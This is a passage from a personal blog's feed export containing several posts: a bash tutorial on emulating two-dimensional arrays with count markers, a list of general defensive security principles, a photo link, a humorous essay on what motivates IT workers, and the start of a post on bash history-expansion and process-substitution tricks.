&lt;p&gt;An array with just one element might look like this:&lt;/p&gt;

&lt;pre&gt;
[0] = 1
[1] = &quot;Hello there&quot;
&lt;/pre&gt;

&lt;p&gt;The element at index 0 is the number of elements that follow. As the value is 1, the next element contains the value, which would basically be a scalar. Now, an array might look like this:&lt;/p&gt;

&lt;pre&gt;
[0] = 2
[1] = &quot;Hello&quot;
[2] = &quot;there&quot;
&lt;/pre&gt;

&lt;p&gt;Element 0 tells us to expect 2 values. Nice and simple huh? A more complete example:&lt;/p&gt;

&lt;pre&gt;
[0] = 1
[1] = &quot;Hello&quot;
[2] = 3
[3] = &quot;How&quot;
[4] = &quot;are&quot;
[5] = &quot;you?&quot;
&lt;/pre&gt;

&lt;p&gt;You get the idea. But, we have a problem. With arrays, one often wants to pop from the end of the array. In order to do that, we have to start at the end and work backwards. But the following example would break that:&lt;/p&gt;

&lt;pre&gt;
[0] = 1
[1] = &quot;Hi&quot;
[2] = 3
[3] = &quot;aaa&quot;
[4] = 1
[5] = &quot;bbb&quot;
&lt;/pre&gt;

&lt;p&gt;If we worked backwards from 5, we would get to element 4, which looks like an array count and conclude that (4,5) was a scalar pair. That isn&#39;t actually the case. But, there is a solution.&lt;/p&gt;

&lt;pre&gt;
[0] = 1
[1] = &quot;Hi&quot;
[2] = 1
[3] = 3
[4] = &quot;aaa&quot;
[5] = 1
[6] = &quot;bbb&quot;
[7] = 3
&lt;/pre&gt;

&lt;p&gt;At the cost of some space, we&#39;ve added a count element at the end of each array. That way we can go to the last element, and know how far backwards to go.&lt;/p&gt;

&lt;p&gt;Well, that&#39;s the theory. Now lets look at a push:&lt;/p&gt;

&lt;pre&gt;
#!/bin/bash

# Function: array_push()
# Params:
#   name     - name of array receiving data
#   indexVar - name of variable to store index used
#   ...      - list of one or more values to be pushed
# Returns:
#   Nothing really
array_push()
{
    # Require at least 3 parameters
    if [ &quot;${#}&quot; -lt &quot;3&quot; ]; then
        return
    else
        # Set parameter variables
        local name=&quot;$1&quot;; shift
        local indexVar=&quot;$1&quot;; shift

        # Get the next index
        eval local index=\$\{\#$name\[\@\]\}

        # Make a note of how many elements we&#39;re pushing
        local count=&quot;${#}&quot;

        # Set the index var to our index. This can then be used later 
        # to retrieve data from the array.
        eval $indexVar=$index

        # Record the count
        eval $name\[$index\]=$count

        # Moving up in the array
        ((index++))

        # We now iterate over the values, adding them to the array
        end=$((index+count))
        while [ &quot;$index&quot; -lt &quot;$end&quot; ]; do
            eval $name\[$index\]=\&quot;$1\&quot;
            shift
            ((index++))
        done

        # Finally, make another record of the count
        eval $name\[$index\]=$count
    fi
}

declare -a aTest

echo First push
array_push aTest iIndexA &quot;Good day.&quot;

echo &quot;index: $iIndexA&quot;
echo new array is ${aTest[@]}
echo

echo Second push
array_push aTest iIndexB &quot;To&quot; &quot;you&quot; &quot;sir!&quot;

echo &quot;index: $iIndexB&quot;
echo new array is ${aTest[@]}
&lt;/pre&gt;

&lt;p&gt;Running it gives us:&lt;/p&gt;

&lt;pre&gt;
$ ./push.sh 
First push
index: 0
new array is 1 Good day. 1

Second push
index: 3
new array is 1 Good day. 1 3 To you sir! 3
$
&lt;/pre&gt;

&lt;p&gt;Wonderful. We&#39;re not doing anything useful, but the data is there. It was at this point that I got bored of this approach. The problem is that doesn&#39;t extend to beyond two dimensions. The only way around this would be some sort of JSON like beginning/end tags instead of a count. E.g.&lt;/p&gt;

&lt;pre&gt;
[0] = {
[1] = &#39;a&#39;
[2] = }
[3] = {
[4] = &#39;b&#39;
[5] = &#39;c&#39;
[6] = {
[7] = &#39;d&#39;
[8] = }
[9] = }
&lt;/pre&gt;

&lt;p&gt;This is could get a bit slow to process. We&#39;d have to do a lot of string comparisons, and we&#39;d need to quote values to prevent confusion.&lt;/p&gt;

&lt;p&gt;Alternatively, we could use an array as usual, but have our functions automatically test values to see if they&#39;re an array. That blog post shall follow shortly.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/555277087293415027/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2011/12/different-2d-array-in-bash.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/555277087293415027'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/555277087293415027'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2011/12/different-2d-array-in-bash.html' title='A different 2D array in bash'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-5076880540354878380</id><published>2011-10-26T18:34:00.001+01:00</published><updated>2012-01-12T09:15:31.134+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="advice"/><category scheme="http://www.blogger.com/atom/ns#" term="information security"/><category scheme="http://www.blogger.com/atom/ns#" term="principles"/><title type='text'>Fundamentals principles of better security</title><content type='html'>&lt;b&gt;Defence in depth&lt;/b&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
This is the daddy of all security advice. The idea is to not rely on any one particular technology, process or approach to security. By building up layers of defence you can tolerate the eventual compromise of one of the layers. For example, don&#39;t just run AV software and hope for the best, harden your system and keep it up to date. Then use technologies such as whitelisting, sandboxing and URL blacklisting to further reduce risks. Don&#39;t just rely on a perimeter firewall or NAT, firewall between networks and use IDSs.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;b&gt;Security is a process&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Similarly to the defence in depth advice, don&#39;t ever expect to be completely secure. No product or solution&amp;nbsp;will ever make you 100% hacker proof, regardless of what the marketing material states. Security is a process of identifying vulnerabilities, prioritizing and mitigating risks, making things a little bit better each time.&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Security through obscurity&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Sticking with obvious advice, don&#39;t rely on security through obscurity. This means relying on the secrecy of a design, implementation or process for security. For example, rather than relying on some obscure proprietary encoding to protect data, you should use well known and tested cryptography. It shouldn&#39;t matter that someone knows your data is protected with 256bit AES.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Crypto is hard&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;
Speaking of cryptography, it is difficult. Very difficult. So unless your clever idea to protect data has just been rigorously tested by the crypto community, you probably shouldn&#39;t use it. Use a standard library instead, don&#39;t roll your own. You&#39;re going to get it wrong. Even implementing standard libraries can be tricky, so be careful.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;KISS&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
The phrase Keep It Simple Stupid applies to most areas of life, including security and IT in general. Basically, complexity is the enemy of good security. Complex systems are difficult to understand, manage and maintain. A&amp;nbsp;unnecessarily&amp;nbsp;complex system will degrade over time which generally means holes and&amp;nbsp;weaknesses&amp;nbsp;developing. Bugs creep in and remain hidden. People become afraid of it, unwilling to investigate and fix issues.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;b&gt;Test, test, test&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;div&gt;
Speaking of bugs. Test the security of code during development by means of code review and static analysis etc. Test your applications before they go into production, eg through audit, fuzzing and standard QA testing. Test your infrastructure once it&#39;s in production by red-teaming and using external audits / pen testing.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;b&gt;Temporary is rarely&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
This might not sound like security advice, but it is. The classic being the &quot;any/any&quot; firewall rule. Probably got put there during development or testing. It fixed the problem, and probably has a comment like &quot;TODO - Work around to get customer working before deadline. Must investigate and fix properly - A N Other, March 2005&quot;. Although unavoidable, at least don&#39;t pretend that you&#39;ll get around to fixing it later. Just accept that it is going to be yet another permanent hack, and perhaps invest another 10 minutes to make it suck slightly less.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Weakest Link&lt;/b&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Aside from all that dodgy hacked code and long forgotten cronjobs, your systems are in pretty good shape. However, security is like a chain. It is only as strong as the weakest link. Perhaps your database server is uber-hardened. But if you&#39;ve got a five year old cronjob running somewhere on an unpatched six year old server that connects to your database will full admin&amp;nbsp;privileges, that hardening is meaningless.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Principle of least privilege&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;br /&gt;
So, why would that cronjob that simply dumps data need to run as an admin? It was probably created when the database only had one user - the admin. Applying the principle of least privilege means that people and systems should only be authorised to do what is required for them to successfully do their jobs. Another example is developers having root access on production systems. Is that really necessary? Or even sysadmins having full access to the development source code repositories. Following this principle helps guard against accidental and malicious abuse of power.&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;You cannot create data retrospectively&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
But you can throw it away. This is an operational point that extends beyond security. You can do some very interesting and insightful things with operational metrics, giving you new visibility into your system and therefore greater understanding. From a security perspective, an IDS alarming might coincide with a jump in open file descriptors on a system, or a sudden jump in memory used. Perhaps the number of lines per minute in an application log file jumps or drops. By collecting, graphing and reviewing this data you could lower the time it takes to understand an attack. There is more to life than just network traffic. Not using certain data? Archive or delete it after 12 months. Simple.&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Secure at the source&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
As a general principle, you want to secure as soon as possible. If data is being generated on a system, you wouldn&#39;t wait until that data has been transferred half way around the world before attempting to secure it. This can go as far as never letting unencrypted sensitive data even reach a harddisk.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Security is a user problem&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
On the one hand you have security, on the other you have usability. No matter how clever a security technology is, if it needs to be driven by a human then it will need to be usable. When designing a system, try to work security into it from the start so that it doesn&#39;t become a bolt-on that gets in &amp;nbsp;the way of usability.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Security is everybody&#39;s responsibility&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Another classic principle, security is the responsibility of everyone, from the receptionist to the CISO. Why? Well, weakest link for a start. The receptionist might not have root access on the production servers, but they are probably on the network and could be a pivot in further attacks. They would probably also make good sources of spear-phising emails to internal addresses. Educate people to take an interest in doing their best to maintain security. Reward them for reporting&amp;nbsp;suspicious&amp;nbsp;activity (e.g. a social engineering phone call).&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Remote code execution == game over&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Basically, if a box has been compromised to the extent that the perpetrator has run code on it, you have to assume you have lost control of that system. Rootkits are becoming more sophisticated by the month and you probably do not have the time to fully investigate exactly what happened to the system. Investigate it, understand what they succeeded at, what they failed at and perhaps even what their motivation was. Then rebuild the box and start from scratch. Also, don&#39;t rely on backups taken after a compromise.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;You&#39;re going to get hacked&lt;/b&gt;&lt;br /&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;Almost finally. It&#39;s not a matter of if, but when. Work on the assumption that you are going to get hacked and look at how it&#39;s going to happen and how you can minimize the impact on the business. Make sure you have an incident response process.The idea is to stop an attack as soon as possible, reducing the impact whilst recording data for later forensic analysis (a hardened centralised syslog server might help).&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Finally&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
This list isn&#39;t complete. I will add to it over time.&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/5076880540354878380/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2011/10/fundamentals-principles-of-better.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/5076880540354878380'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/5076880540354878380'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2011/10/fundamentals-principles-of-better.html' title='Fundamentals principles of better security'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-5669942439749186568</id><published>2011-05-30T20:54:00.001+01:00</published><updated>2012-01-01T03:58:20.220+00:00</updated><title type='text'>London Sky - Flickr pictures</title><content type='html'>A slight tangent from the usual rare posts, but I&#39;ve just uploaded some London skyline pics to Flickr.

&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://farm6.staticflickr.com/5067/5777241759_7ae6551870_b.jpg&quot; imageanchor=&quot;1&quot; style=&quot;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;1024&quot; width=&quot;613&quot; src=&quot;http://farm6.staticflickr.com/5067/5777241759_7ae6551870_b.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;
The rest can be found here: &lt;b&gt;&lt;a href=&quot;http://www.flickr.com/photos/27021074@N05/sets/72157626843800884/with/5777241759/&quot;&gt;Flickr&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/5669942439749186568/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2011/05/london-sky-flickr-pictures.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/5669942439749186568'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/5669942439749186568'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2011/05/london-sky-flickr-pictures.html' title='London Sky - Flickr pictures'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-8047262911364580330</id><published>2011-05-01T12:41:00.003+01:00</published><updated>2011-06-12T23:41:34.078+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="employment"/><category scheme="http://www.blogger.com/atom/ns#" term="geek"/><category scheme="http://www.blogger.com/atom/ns#" term="maslow hierarchy of needs"/><category scheme="http://www.blogger.com/atom/ns#" term="motivation"/><category scheme="http://www.blogger.com/atom/ns#" term="psychology"/><title type='text'>M4sl0w&#39;s hierarchy of needs (for geeks)</title><content type='html'>&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxpyYFheYFbD3Nj2pFnt4a2H60dJ3Gl0t5gV74ueQLTKvFROxMeQwf1ZuG8JiM8HNKDptT_DbVXopj3qxyhogqwuwSE9f5jZOedjcHz1n9kvwwcGagJLoOFryJdpYK5R8at_om-0K9UUY/s1600/m4sl0w.png&quot;&gt;&lt;img style=&quot;display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 299px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxpyYFheYFbD3Nj2pFnt4a2H60dJ3Gl0t5gV74ueQLTKvFROxMeQwf1ZuG8JiM8HNKDptT_DbVXopj3qxyhogqwuwSE9f5jZOedjcHz1n9kvwwcGagJLoOFryJdpYK5R8at_om-0K9UUY/s400/m4sl0w.png&quot; border=&quot;0&quot; alt=&quot;&quot;id=&quot;BLOGGER_PHOTO_ID_5565898671560104610&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-weight:bold;&quot;&gt;What is Maslow&#39;s hierarchy of needs?&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
I suggest you look &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Maslow%27s_hierarchy_of_needs&quot;&gt;here&lt;/a&gt; or Google for it, but in summary it is a psychological theory to describe the levels of human needs and desires and how higher levels of needs can only be satisfied once all the levels below are satisfied.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-weight:bold;&quot;&gt;Does this apply to geeks?&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Well, even geeks have basic needs that must be met. I&#39;ll discuss them in turn below.&lt;br /&gt;
&lt;span style=&quot;font-weight:bold;&quot;&gt;&lt;br /&gt;
Caffeine&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
All geeks need caffeine in some form. There are a few crazy exceptions, but they&#39;re by far the minority. Popular sources of caffeine are coffee and soft drinks. Energy drinks are of course an excellent source of this essential nutrient and have helped many a geek through a late night coding frenzy.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-weight:bold;&quot;&gt;Awesome workstation and shiny gadgets&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
So, you&#39;re getting your regular dose of free caffeine. This will no doubt be the first thing you do when you get to the office, if you haven&#39;t already picked a drink up on the way in. You sit down at you&#39;re desk and you&#39;re greeted with what you&#39;re going to be staring at for the next eight hours. Do you look at it and have flashbacks to the eighties or do you admire the technical marvel before you? As they say, &quot;if you need something done, you may as well do it on something cool and expensive&quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-weight:bold;&quot;&gt;Fun and interesting colleagues&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
As a geek you probably dread social interaction. Or perhaps not. I think that cliché is somewhat dated. But you probably have to work with people around you. Perhaps even regularly. The goal here is to have fun at the same time, building up a sense of team and therefore a shared sense of purpose. That way you are more productive and get things done sooner leaving you with more time to sip your caffeine drink of choice. If you&#39;re lucky, you might even meet your colleagues after work in some form of social event.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-weight:bold;&quot;&gt;Interesting work, a sense of control and doing things right.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Do it. Do it now. Do it right now. Do it right.&lt;br /&gt;
&lt;br /&gt;
So, you&#39;re sipping your regular dose of caffeine, sitting back at your shiny workstation after a interesting and thought provoking conversation with a colleague. It is now time to get on with the day and do some work.&lt;br /&gt;
&lt;br /&gt;
I think most people, and especially geeks, have a basic desire work hard, work efficiently and to do the right thing. As a geek, you are being paid not just to mash the keyboard from time to time, but to use your expertise to assess and prioritize what work needs to be done and how. A sense of control is very important here - if you and your colleagues know what needs to be done, know how it needs to be done, know that it can be done and that it is the right thing to do, but cannot do it for political reasons, then you&#39;re probably going to be somewhat demotivated (wow, that last &#39;sentence&#39; was an abuse of the English language, but you get my point I hope).&lt;br /&gt;
&lt;br /&gt;
It is the role of a good manager to align the goals and opinions of the geek to the business requirements.&lt;br /&gt;
&lt;br /&gt;
And, if you&#39;re lucky, your work might even be particularly interesting. Everything is interesting if you think about it the right way :) What was the other one? There are no boring tasks, only boring people.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-weight:bold;&quot;&gt;Play time and training&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Now that you&#39;re being productive and the business is happy with your and your team&#39;s work, what else is there?&lt;br /&gt;
&lt;br /&gt;
Geeks do what they do because they love it, not because it is a career path (by definition, otherwise they&#39;re just random people who happen to work in IT etc). It is a geek&#39;s natural instinct to experiment, play, create and break things. And to learn during the process - understand how things work, what makes things tick and where the boundaries lie.&lt;br /&gt;
&lt;br /&gt;
So, what is the ultimate geek motivation? To play, experiment, test, break, fix, create and get paid for it. That is why Google has their 20% time. This means that you get to spend 20% of your time doing whatever you like, which can sometimes result in the birth of a new product or service. It gives geeks a chance to think &quot;outside of the box&quot; (Bingo!) and to try or learn new things.&lt;br /&gt;
&lt;br /&gt;
Why bother? Isn&#39;t it a waste of time? Well, perhaps. But there is an asymmetry in the potential gains. Basically, there is a fixed loss - 20% of an employee&#39;s time. However, the potential gain has no boundaries. Perhaps someone comes up with something truly phenomenal which ends up being worth millions to the business. Or perhaps they create something useful that gets release to the community and makes the world a slightly better place.&lt;br /&gt;
&lt;br /&gt;
And who knows, the company might even lower its staff turnover and save some money on recruitment.&lt;br /&gt;
&lt;br /&gt;
Finally, a word on training. There are two types of training found during employment. Basic training required to do the job effectively and personal training which indirectly benefits the company but adds to the employee&#39;s sense of purpose and career progression. Both forms of training are motivating, with the latter being more so. Unfortunately, training is rarely a priority for companies and doesn&#39;t seem to exist much in the wild. Lucky for them geeks tend to take responsibility for their own training, but this does generally result in higher staff turnover - if someone has dedicated most of their free time and spare cash into training themselves, why wouldn&#39;t they move on to reap the rewards of a better income or more interesting work?</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/8047262911364580330/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2011/05/m4sl0ws-hierarchy-of-needs-for-geeks.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/8047262911364580330'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/8047262911364580330'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2011/05/m4sl0ws-hierarchy-of-needs-for-geeks.html' title='M4sl0w&#39;s hierarchy of needs (for geeks)'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxpyYFheYFbD3Nj2pFnt4a2H60dJ3Gl0t5gV74ueQLTKvFROxMeQwf1ZuG8JiM8HNKDptT_DbVXopj3qxyhogqwuwSE9f5jZOedjcHz1n9kvwwcGagJLoOFryJdpYK5R8at_om-0K9UUY/s72-c/m4sl0w.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-2351313534003821962</id><published>2011-02-27T18:44:00.005+00:00</published><updated>2011-06-12T23:42:03.330+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bash"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="tricks"/><title type='text'>10 useful little bash tricks</title><content type='html'>We&#39;re going to have a quick look at a collection of ten little bash tricks that you may or may not know. Or possibly forget. Or perhaps know, but don&#39;t tend to use often and so this might be a good reminder.&lt;br /&gt;
&lt;br /&gt;
Please note, this stuff was tested on Bash 4.1.5. You can find further details and examples for all these tricks in the Bash manpage.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-weight:bold;&quot;&gt;1::Using previous command&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
This trick is very simple. If you run a command and then have to repeat it (for example using sudo)&lt;br /&gt;
then instead of typing the whole command again you can refer to it using &lt;span style=&quot;font-weight:italic;&quot;&gt;!!&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:bash&quot;&gt;user@host:~$ aptitude install blah
[100%] Reading package lists^C
user@host:~$ sudo !!
sudo aptitude install blah
[sudo] password for user:
...
user@host:~$
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
As you can see, it even prints out the new full command.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-weight:bold;&quot;&gt;2::Using previous argument(s)&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Similar to the first trick, bash will allow you to easily reference the last argument of the previous command.&lt;br /&gt;
&lt;br /&gt;
In this first example we&#39;re going to touch a few files, then decide to remove the last one.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:bash&quot;&gt;user@host:~$ touch a b c
user@host:~$ rm !$
rm c
user@host:~$ ls
a  b
user@host:~$
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
As you can see, &lt;span style=&quot;font-weight:italic;&quot;&gt;!$&lt;/span&gt; only expanded to &lt;span style=&quot;font-weight:italic;&quot;&gt;c&lt;/span&gt;. If you only had one argument, it would exand to that one argument.&lt;br /&gt;
&lt;br /&gt;
We can also reference all the previous arguments using &lt;span style=&quot;font-weight:italic;&quot;&gt;!*&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:bash&quot;&gt;user@host:~$ touch a b c
user@host:~$ rm !*
rm a b c
user@host:~$ ls
user@host:~$
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-weight:bold;&quot;&gt;3::Process Substitution&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Right, now its time to move on to something a little different.&lt;br /&gt;
&lt;br /&gt;
We want to compare the files in two directories to see which are in common, missing or changed etc. It would make sense to use the &lt;span style=&quot;font-weight:italic;&quot;&gt;diff&lt;/span&gt; utility to help. We are also going to use &lt;span style=&quot;font-weight:italic;&quot;&gt;md5sum&lt;/span&gt; to get a fingerprint of the files so we can see if they have changed. All we have to do is look through each directory (using &lt;span style=&quot;font-weight:italic;&quot;&gt;find&lt;/span&gt;), do an md5sum of each file and compare the two lists.&lt;br /&gt;
&lt;br /&gt;
Now, diff usually expects to operate on two files. We could redirect our results into files and then diff those files, but there is a smarter way. By using the &lt;span style=&quot;font-weight:italic;&quot;&gt;&amp;lt(list)&lt;/span&gt; for we can run our finds and diff will treat the results files.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:bash&quot;&gt;diff &amp;lt(cd boot-a; find . -exec md5sum {} \;) &amp;lt(cd boot-b; find . -exec md5sum {} \;)

&amp;lt 9c830b456ed37e0c0d63f2528fb43de5  ./initrd.img-2.6.35-23-generic
7,8d5
&amp;lt f70fd0262a6f8e1e82028237e94657fc  ./config-2.6.32-25-generic
&amp;lt c16c8e1705a54db8b96adce7de17710a  ./vmcoreinfo-2.6.32-25-generic
10d6
&amp;lt b1f002028905e42f594c83603606ca0b  ./config-2.6.35-23-generic
12,16d7
&amp;lt 668d54c704f22d85cb548f27a7e19d41  ./config-2.6.35-22-generic
&amp;lt 882721477fcf705c02b60a4bb219b0c8  ./vmlinuz-2.6.32-25-generic
&amp;lt 88472c27c3d18a832b5d85aea1edc541  ./abi-2.6.35-22-generic
&amp;lt 496b4aed0005b07574e9dd3895089b23  ./abi-2.6.35-23-generic
&amp;lt 6ee40238bdabb40a862c6f63262efa9d  ./System.map-2.6.32-25-generic
18d8
&amp;lt 4e02de05c66cb0b322dc5c71f43882e9  ./System.map-2.6.35-23-generic
84c74
&amp;lt ac9641014f0b460fc6eb5d2936bd869c  ./grub/menu.lst
---
&amp;gt c5cce31e9e9eb884685137aac1ab8a8a  ./grub/menu.lst
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
As you can see, boot-a had quite a few files that boot-b was missing, and grub/menu.lst was different between the two directories.&lt;br /&gt;
&lt;br /&gt;
